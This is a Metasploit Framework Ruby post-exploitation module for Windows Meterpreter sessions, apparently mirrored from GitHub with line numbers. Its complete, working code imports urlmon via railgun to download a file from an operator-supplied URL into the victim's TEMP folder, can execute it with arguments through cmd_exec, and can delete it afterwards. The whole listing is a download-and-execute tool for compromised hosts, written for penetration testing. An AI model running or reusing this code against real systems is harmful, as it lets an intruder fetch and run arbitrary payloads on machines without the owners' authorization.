Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/download_exec.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Manage Download and/or Execute',
14
'Description' => %q{
15
This module will download a file by importing urlmon via railgun.
16
The user may also choose to execute the file with arguments via exec_string.
17
},
18
'License' => MSF_LICENSE,
19
'Platform' => ['win'],
20
'SessionTypes' => ['meterpreter'],
21
'Author' => ['RageLtMan <rageltman[at]sempervictus>'],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_fs_delete_file
26
stdapi_fs_file_expand_path
27
stdapi_fs_stat
28
stdapi_railgun_api
29
stdapi_sys_config_getenv
30
]
31
}
32
},
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [ARTIFACTS_ON_DISK],
36
'Reliability' => []
37
}
38
)
39
)
40
41
register_options(
42
[
43
OptString.new('URL', [true, 'Full URL of file to download' ]),
44
OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
45
OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
46
OptBool.new('OUTPUT', [true, 'Show execution output', true ]),
47
OptBool.new('EXECUTE', [true, 'Execute file after completion', false ]),
48
]
49
)
50
51
register_advanced_options(
52
[
53
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
54
OptInt.new('EXEC_TIMEOUT', [true, 'Execution timeout', 60 ]),
55
OptBool.new('DELETE', [true, 'Delete file after execution', false ]),
56
]
57
)
58
end
59
60
# Check to see if our dll is loaded, load and configure if not
61
62
def add_railgun_urlmon
63
if client.railgun.libraries.find_all { |d| d.first == 'urlmon' }.empty?
64
session.railgun.add_dll('urlmon', 'urlmon')
65
session.railgun.add_function(
66
'urlmon', 'URLDownloadToFileW', 'DWORD',
67
[
68
['PBLOB', 'pCaller', 'in'],
69
['PWCHAR', 'szURL', 'in'],
70
['PWCHAR', 'szFileName', 'in'],
71
['DWORD', 'dwReserved', 'in'],
72
['PBLOB', 'lpfnCB', 'inout']
73
]
74
)
75
vprint_good('urlmon loaded and configured')
76
else
77
vprint_status('urlmon already loaded')
78
end
79
end
80
81
def run
82
# Make sure we meet the requirements before running the script, note no need to return
83
# unless error
84
return 0 if session.type != 'meterpreter'
85
86
# get time
87
strtime = Time.now
88
89
# check/set vars
90
url = datastore['URL']
91
filename = datastore['FILENAME'] || url.split('/').last
92
93
path = datastore['DOWNLOAD_PATH']
94
if path.blank?
95
path = session.sys.config.getenv('TEMP')
96
else
97
path = session.fs.file.expand_path(path)
98
end
99
100
outpath = path + '\\' + filename
101
exec = datastore['EXECUTE']
102
exec_string = datastore['EXEC_STRING']
103
output = datastore['OUTPUT']
104
remove = datastore['DELETE']
105
106
# set up railgun
107
add_railgun_urlmon
108
109
# get our file
110
vprint_status("Downloading #{url} to #{outpath}")
111
client.railgun.urlmon.URLDownloadToFileW(nil, url, outpath, 0, nil)
112
113
# check our results
114
begin
115
out = session.fs.file.stat(outpath)
116
print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
117
rescue StandardError
118
print_error('File not found. The download probably failed')
119
return
120
end
121
122
# Execute file upon request
123
if exec
124
begin
125
cmd = "\"#{outpath}\" #{exec_string}"
126
127
print_status("Executing file: #{cmd}")
128
res = cmd_exec(cmd, nil, datastore['EXEC_TIMEOUT'])
129
print_good(res) if output && !res.empty?
130
rescue StandardError => e
131
print_error("Unable to execute: #{e.message}")
132
end
133
end
134
135
# remove file if needed
136
if remove
137
begin
138
print_status("Deleting #{outpath}")
139
session.fs.file.rm(outpath)
140
rescue StandardError => e
141
print_error("Unable to remove file: #{e.message}")
142
end
143
end
144
end
145
end
146
147